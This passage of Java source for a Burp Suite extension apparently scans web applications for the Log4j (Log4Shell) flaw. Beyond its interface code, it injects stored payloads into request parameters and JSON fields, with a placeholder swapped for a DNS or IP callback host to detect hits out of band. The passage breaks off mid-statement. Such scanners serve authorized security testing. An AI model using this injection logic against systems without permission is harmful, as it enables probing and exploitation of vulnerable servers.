JSplitPane configSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
configSplitPane.setResizeWeight(0.5);
configSplitPane.setDividerLocation(0.5);
configSplitPane.setTopComponent(whitelistPanel);
configSplitPane.setBottomComponent(headerPanel);
configPanel.add(configSplitPane, BorderLayout.CENTER);
// 创建操作按钮面板
JPanel actionButtonsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5));
actionButtonsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("log4j.border.actions")));
actionButtonsPanel.add(refreshTableButton);
actionButtonsPanel.add(clearTableButton);
// 将所有面板放入主面板
JSplitPane mainRightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
mainRightSplitPane.setResizeWeight(0.3);
mainRightSplitPane.setDividerLocation(0.3);
mainRightSplitPane.setTopComponent(scanOptionsPanel);
JPanel configAndActionsPanel = new JPanel(new BorderLayout(5, 5));
configAndActionsPanel.add(configPanel, BorderLayout.CENTER);
configAndActionsPanel.add(actionButtonsPanel, BorderLayout.SOUTH);
mainRightSplitPane.setBottomComponent(configAndActionsPanel);
rightTopPanel.add(mainRightSplitPane, BorderLayout.CENTER);
rightSplitPane.setTopComponent(rightTopPanel);
// 右边的下部分左边
// log4j payload label
JLabel PayloadLabel = new JLabel(I18nUtils.get("log4j.label.payload"));
// log4j payload输入框
// log4j payload保存按钮
payloadTextArea = new JTextArea(5,10);
payloadTextArea.setLineWrap(false); // 自动换行
payloadTextArea.setWrapStyleWord(false); // 按单词换行
JScrollPane payloadTextAreascrollPane = new JScrollPane(payloadTextArea);
savePayloadButton = new JButton(I18nUtils.get("log4j.button.save_payload"));
JPanel rightDownLeftPanel = new JPanel();
rightDownLeftPanel.setLayout(new BorderLayout(5, 5));
rightDownLeftPanel.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5));
rightDownLeftPanel.add(PayloadLabel, BorderLayout.NORTH);
rightDownLeftPanel.add(payloadTextAreascrollPane, BorderLayout.CENTER);
JPanel payloadButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));
payloadButtonPanel.add(savePayloadButton);
rightDownLeftPanel.add(payloadButtonPanel, BorderLayout.SOUTH);
// 左右分割面板添加rightDownLeftPanel和rightDownRightPanel
JPanel rightDownPanel = new JPanel(new BorderLayout());
rightDownPanel.add(rightDownLeftPanel, BorderLayout.CENTER);
rightSplitPane.setBottomComponent(rightDownPanel);
// 添加到splitPane
splitPane.add(leftSplitPane, BorderLayout.CENTER);
splitPane.add(rightSplitPane, BorderLayout.EAST);
panel.add(splitPane, BorderLayout.CENTER);
}
@Override
public JPanel getPanel(IBurpExtenderCallbacks callbacks) {
return panel;
}
@Override
public String getTabName() {
return "Log4jScan";
}
// 添加数据
public static void add(String extensionMethod, String url, String status, String res, IHttpRequestResponse baseRequestResponse) {
synchronized (log4jlog) {
int id = log4jlog.size();
log4jlog.add(new Log4jEntry(id, extensionMethod, url, status, res, baseRequestResponse));
log4jtable.updateUI();
}
}
// 获取请求包的tag
private static String getReqTag(IHttpRequestResponse baseRequestResponse, IRequestInfo req, String type) {
// 获取并处理URI
String uri = req.getHeaders().get(0).split(" ")[1].split("\\?")[0].replace("/", ".");
// 如果URI超过25个字符,截取并处理结尾的点号
if (uri.length() > 25) {
uri = uri.substring(0, 25);
if (uri.endsWith(".")) {
uri = uri.substring(0, uri.length() - 1);
}
}
// 处理URI末尾的点号
if (uri.endsWith(".")) {
uri = uri.substring(0, uri.length() - 1);
}
// 构建最终标签
String tag = req.getMethod() + "." + baseRequestResponse.getHttpService().getHost() + uri;
return "dns".equalsIgnoreCase(type) ? tag + "." : tag;
}
// 检测核心方法
public static void Check(IHttpRequestResponse[] messageInfo, boolean isSend) {
lock.lock();
try{
IHttpRequestResponse baseRequestResponse = messageInfo[0];
IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
List reqheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
String method = analyzeRequest.getMethod();
String host = baseRequestResponse.getHttpService().getHost();
URL rdurlURL = analyzeRequest.getUrl();
String url = analyzeRequest.getUrl().toString();
List paraLists = analyzeRequest.getParameters();
// 如果method不是get或者post方式直接返回
if (!method.equals("GET") && !method.equals("POST")) {
return;
}
// url 中匹配为静态资源
if (Utils.isUrlBlackListSuffix(url)){
return;
}
// 如果没有开启检测参数和检测header 并且参数没有值 直接返回
if (!isCheckParam && !isCheckHeader) {
return;
}
// 判断参数类型,不符合的直接跳过检测
boolean ruleHit = true; // 默认设置为true,表示命中规则
for (IParameter para : paraLists) {
if ((para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON)
|| isCheckHeader) {
ruleHit = false; // 如果有 URL、BODY、JSON 参数或者开启了header 检测,则不命中规则
break;
}
}
if (ruleHit) {
return; // 如果命中规则,则直接返回
}
// 如果不是手动发送则需要进行url去重
if (!isSend) {
if (!UrlCacheUtil.checkUrlUnique("log4j", method, rdurlURL, paraLists)) {
return;
}
}else {
isCheckWhiteList = false;
}
if (isCheckWhiteList) {
// 如果未匹配到 直接返回
if (!Utils.isMatchDomainName(host,domainList)){
return;
}
}
// 加入payload前先清空列表
log4jPayload.clear();
// 将数据库中的payload加入到列表
for (String log4j : payloadList) {
if (isOriginalValue) {
log4jPayload.add(log4j);
} else {
if (log4j.contains("dnslog-url")) {
if (isDnsOrIp) {
String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, "dns");
// 新增:为log4j dnslog payload加前缀
String log4jDnslogPayload = logPrefix + "log4j." + dns;
log4jPayload.add(log4j.replace("dnslog-url", log4jDnslogPayload));
} else {
String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, "ip");
// 新增:为log4j ip payload加前缀
String log4jIpPayload = ip + "/log4j." + logPrefix;
log4jPayload.add(log4j.replace("dnslog-url", log4jIpPayload));
}
} else {
log4jPayload.add(log4j);
}
}
}
// 检测参数
if (isCheckParam) {
for (IParameter para : paraLists) {
if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON) {
String paraName = para.getName();
String paraValue = para.getValue();
// 判断参数是否在url中
if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY) {
for (String logPayload : log4jPayload) {
// 如果是在get请求中,需要对payload进行url编码
if (para.getType() == PARAM_URL) {
logPayload = Utils.UrlEncode(logPayload);
}
IParameter iParameter = Utils.helpers.buildParameter(paraName, logPayload, para.getType());
byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameter);
IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes);
IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse());
byte[] log4jresponseBody = newRequestResponse.getResponse();
String ParamLength = "";
String ParamstatusCode = String.valueOf(analyzeResponse.getStatusCode());
if (log4jresponseBody != null) {
// 判断有无Content-Length字段
IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(log4jresponseBody);
List log4jHeaders = ReqResponse.getHeaders();
String contentLength = HelperPlus.getHeaderValueOf(log4jHeaders, "Content-Length");
if (contentLength != null){
ParamLength = contentLength;
}
}
if (ParamLength.isEmpty()) {
assert log4jresponseBody != null;
ParamLength = String.valueOf(log4jresponseBody.length);
}
add(method, url, ParamstatusCode, ParamLength, newRequestResponse);
}
}
// 判断参数是否在json中
if (para.getType() == PARAM_JSON) {
for (String logPayload : log4jPayload) {
String request_data = Utils.helpers.bytesToString(baseRequestResponse.getRequest()).split("\r\n\r\n")[1];
Map request_json = JSON.parseObject(request_data);
List